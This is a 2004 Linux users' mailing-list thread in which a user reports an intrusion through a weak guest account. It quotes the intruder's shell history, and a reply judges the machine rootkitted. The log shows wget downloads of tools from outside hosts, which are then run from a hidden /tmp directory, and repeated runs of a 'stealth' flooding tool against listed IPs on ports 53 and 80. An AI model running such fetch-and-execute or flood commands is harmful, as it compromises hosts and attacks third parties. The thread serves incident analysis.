Re: [SLUG] Someone in my computer

From: Ian Blenke (icblenke@nks.net)
Date: Tue Aug 24 2004 - 11:22:28 EDT


 From the URLs and IPs, it looks like a Romanian hacker. There are a few
interesting exploits there.

When I get some time I'll look through them and make some guesses as to
what he is doing.

At this point you shoud consider your machine rootkitted and suspect.

- Ian

Tevfik Yucek wrote:

>Hi all,
>
>
>Last night I realize there was someone in my computer, Slackware 10.
>I have a sshd running and he/she/it is connected to my computer and
>executed the following commands.
>
>I am usually not concerned with security and did not care about much
>until yesterday. I had a guest "user" account with password "guest"
>and he/she/it used it.
>
>So, here are my questions:
> - how he/she/it knows about my IP and how did the know I was
>using linux and how did he/she/it got the password? Just guessing?
> - how can I kick a user if I notice that I have and uninvited
>visitor. I had to stop the internet connection of my computer.
> - what does the command below do and should I do something about
>them ?
>
>
>Thanks,
>Tevfik
>
>Here are the commmands:
>
>passwd
>cat /etc/issue
>cd /tmp
>mdkri .src
>cd .src
>mkdir .src
>cd .src
>wget carmelo.go.ro/do.tgz
>tar zxvf do.tgz
>rm -rf do.tgz
>./do
>./do
>wget 0kas.com/prt.tgz
>tar zxvf prt.tgz
>./x
>./x
>./x
>./x
>./x
>./x
>wget stefang.com/prostii/n
>chmod +x n
>./n
>./n
>./n
>./n
>./n
>./n
>./n
>./n
>./n
>./n
>ls
>./n
>./x
>./x
>./x
>wget yahaa.at/p/90
>./90
>chmod +x 90
>./90
>./90
>wget 0kas.com/Florin/flood.tar.gz
>tar zxvf flood.tar.gz
>rm -rf flood.tar.gz
>ls
>rm -rf prt.tgz
>ls
>rm -rf prt.tgz
>cd belea
>./stealth 218.38.3.83 53
>cd /tmp/.src/belea
>./stealth 80.97.245.241 53
>
>
>./stealth
>^[[A
>
>w
>cd /tmp/.src
>cd belea
>./steath 82.208.160.155 53
>./steath 82.208.160.155 53
>./steath 82.208.160.155 53
>./stealth 82.208.160.155 53
>./stealth 82.208.160.155 53
>export PATH="."
>bash
>cd /tmp/.src/belea
>w
>w
>cat psybnc.conf
>locate psybnc.conf
>./stealth 213.154.149.199 53
>w
>./stealth 213.233.97.53 53
>./stealth 194.105.27.21 80
>./stealth 81.196.147.218 53
>./stealth 81.196.59.83 80
>./stealth 81.196.59.83 53
>cd /tmp/.src
>cd belea
>./stealth 80.96.146.171 53
>cd /tmp/ .scr/belea
>./stealth 81.196.147.170 53
>./stealth 81.196.147.170 55
>./stealth 81.196.147.170 53
>./stealth 211.47.141.43 53
>cd .src
>ce belea
>cd belea
>./stealth 211.47.141.43
>./stealth 211.47.141.43 53
>./stealth 211.47.141.43 53
>w
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